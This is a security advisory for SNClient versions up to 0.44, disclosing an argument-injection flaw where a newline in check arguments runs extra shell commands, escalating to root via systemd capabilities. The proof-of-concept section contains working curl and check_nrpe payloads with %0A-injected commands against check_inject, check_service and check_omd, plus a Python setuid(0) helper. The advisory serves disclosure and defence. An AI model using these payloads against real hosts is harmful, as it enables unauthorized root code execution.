Skip to content

SNClient check argument injection allows remote root code execution on Unix-like systems

High
sni published GHSA-7875-572v-h272 Jul 24, 2026

Package

snclient

Affected versions

<= 0.44

Patched versions

0.45

Description

Summary

SNClient check arguments can allow remote command execution on Unix-like systems. When SNClient is configured to accept remote arguments, an attacker with access to the SNClient WEB or NRPE check endpoint can inject a newline into an argument and cause an additional shell command to be executed. This was first identified in external script argument expansion, but the same class of issue also affects built-in check commands. On packaged Linux/systemd installations, the impact can escalate to remote root code execution because SNClient is started with CAP_SETUID and CAP_SETGID. The same capability configuration can also turn otherwise local script execution primitives into local root privilege escalation.

Details

SNClient supports NRPE-style external script command definitions using argument macros such as $ARG1$, $ARG2$, $ARGS$, and %ARGS%. These macros are replaced with user-supplied check arguments before the command is executed. On Unix-like systems, the resulting external script command string is executed through /bin/sh -c.

SNClient attempts to prevent shell injection when allow nasty characters = false by rejecting a list of shell metacharacters such as |, `, &, <, >, quotes, backslash, brackets, braces, and semicolon. However, newline characters were not rejected in affected configurations. Since /bin/sh treats a newline as a command separator, an attacker can inject a newline followed by another command. This makes it possible to execute arbitrary commands even though allow nasty characters = false is configured.

Further testing showed that the affected surface is not limited to external scripts. Built-in Linux checks are also affected when remote arguments are allowed. The check_service command uses the user-controlled service= argument to build a shell command for systemctl. The check_omd command uses the user-controlled site= argument in a root-capable command path. Unlike external scripts, check_omd does not require a custom external script definition; it is reachable as a built-in check when remote arguments are allowed.

On packaged Linux/systemd installations, SNClient is started as an unprivileged service user but with CAP_SETUID and CAP_SETGID. These capabilities allow SNClient, and child processes spawned by SNClient, to switch to UID/GID 0. This affects both remote command injection paths and local execution paths where an attacker can influence an external script or binary executed by SNClient. A local reproduction using the same security-relevant systemd capability settings confirmed that a helper process executed by SNClient can successfully call setgid(0) and setuid(0), resulting in root code execution.

The issue is conceptually similar to the historical NRPE argument injection vulnerability (CVE-2014-2913), but the affected SNClient surface also includes built-in check argument handling and the Linux capability configuration increases the impact.

PoC

Use a Unix-like SNClient host with WEBServer and external scripts enabled. Example configuration:

[/modules]
WEBServer = enabled
CheckExternalScripts = enabled

[/settings/default]
password = test-password

[/settings/WEB/server]
use ssl = false
port = 18443
allowed hosts = 127.0.0.1
allow arguments = true
allow nasty characters = false

[/settings/external scripts/scripts/check_inject]
command = echo $ARGS$
allow arguments = true
allow nasty characters = false

Start SNClient with this configuration:

snclient -c /tmp/snclient-rce.ini server

Send a request containing a URL-encoded newline (%0A) followed by a command:

curl -s -u 'user:test-password' 'http://127.0.0.1:18443/query/check_inject?ok%0Aid'

The configured command is expanded and executed by the shell similarly to:

echo ok
id

The response contains the output of the injected id command, demonstrating command execution as the SNClient process user.

The same newline injection primitive is also reachable through the built-in Linux check_service command when remote arguments are allowed (requires the corresponding system check modules, such as CheckSystem and CheckSystemUnix, to be enabled):

curl -s -u 'user:test-password' \
  'http://127.0.0.1:18443/api/v1/queries/check_service/commands/execute?service=notfound%0Atouch%20/tmp/snclient-rce%0A%23'

The decoded argument is:

service=notfound
touch /tmp/snclient-rce
#

The built-in Linux check_omd command provides a direct root-capable sink on packaged Linux/systemd installations. No external script definition is required; only remote arguments must be allowed:

curl -s -u 'user:test-password' \
  'http://127.0.0.1:18443/query/check_omd?site=demo%20show%20AUTOSTART%0Aid%0A%23'

The injected command is executed through the site= argument before the command remainder is commented out:

site=demo show AUTOSTART
id
#

On systems where SNClient has the packaged CAP_SETUID and CAP_SETGID configuration, commands reached through this sink execute in the root-capable command path.

The same capability behavior can be demonstrated locally with a minimal helper executed by SNClient:

#!/usr/bin/python3
import os
import subprocess
import sys

try:
    os.setgid(0)
    print("setgid0=ok")
except OSError as exc:
    print(f"setgid0=failed: {exc}", file=sys.stderr)
    sys.exit(1)

try:
    os.setuid(0)
    print("setuid0=ok")
except OSError as exc:
    print(f"setuid0=failed: {exc}", file=sys.stderr)
    sys.exit(1)

print(f"ruid={os.getuid()} euid={os.geteuid()} rgid={os.getgid()} egid={os.getegid()}")
subprocess.run(["id"], check=False)

In a local reproduction with the same relevant capability settings as the packaged service, executing this helper from SNClient produced:

uid=0(root) gid=0(root) groups=0(root)
setgid0=ok
setuid0=ok
ruid=0 euid=0 rgid=0 egid=0

The same payloads can be sent through NRPE when the attacker can connect from an allowed host and provide arguments:

check_nrpe -H 127.0.0.1 -n -c check_omd -a $'site=demo show AUTOSTART\nid\n#'

Impact

This is an OS command injection vulnerability. An attacker who can invoke a vulnerable check can execute arbitrary commands in the SNClient service context. On packaged Linux/systemd installations, this may escalate to root code execution because SNClient is granted CAP_SETUID and CAP_SETGID.

The Linux capability configuration also creates a local privilege escalation risk when a local attacker can modify, replace, or otherwise influence a script or binary executed by SNClient. In that case, the attacker-controlled child process may inherit the relevant capabilities and switch to UID/GID 0 without requiring a setuid binary.

Deployments are affected when remote arguments are allowed and the WEB or NRPE listener is reachable by the attacker. External script checks are affected when user-controlled argument macros are used in external script commands. Built-in checks can also be affected; Linux check_service and check_omd have been confirmed vulnerable.

Default hardening such as strong passwords, TLS, and restrictive allowed hosts settings reduces exposure but does not remove the vulnerability in affected configurations.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-77340

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Credits